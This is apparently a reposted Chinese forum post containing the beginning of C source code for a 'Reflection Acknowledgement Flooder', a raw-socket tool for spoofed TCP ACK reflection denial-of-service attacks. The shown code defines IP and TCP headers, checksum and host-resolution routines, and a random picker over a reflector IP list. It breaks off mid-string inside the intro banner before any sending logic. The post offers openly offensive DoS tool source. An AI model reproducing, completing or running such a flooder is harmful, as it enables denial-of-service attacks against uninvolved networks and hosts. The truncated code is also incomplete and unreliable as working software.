[转载]Ack报文反射代码
文章作者:小金[code]/////Reflection Acknowledgement Flooder by 小金 (2002年9月)
/////更改此代码请给我一份拷贝
/////E-MAIL:[email]LK007@163.com[/email] [email]Anpolise@s8s8.net[/email]
////============================================
#include <winsock2.h>
#include <ws2tcpip.h>
#define false 0
#define true 1
#define SEQ 0x28376839
int x=-1,k,j;
int rndX=0;
struct IP
{
char ip[20];
};
struct IP IPtemp[32767];
typedef struct ip_hdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSD_HEADER;
typedef struct tcp_hdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
int GetIPNum(){
int i;
if(rndX++==65536) rndX=1; //序列号循环
srand(rndX);
i=rand()%x+1;
return i;
}
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
unsigned long resolve(char *host)
{
long i;
struct hostent *he;
if((i=inet_addr(host))<0)
if((he=gethostbyname(host))==NULL)
return(0);
else
return(*(unsigned long *)he->h_addr);
return(i);
}
void Intro(){
printf("==================R-Series=====================\n");
printf("H.B.U Team R-Series Tools DEMO Version\n");
printf("\n");
printf("-=-=-Reflection Acknowledgement Flooder-=-=-\n");
printf("\n");
printf("
页:
[1]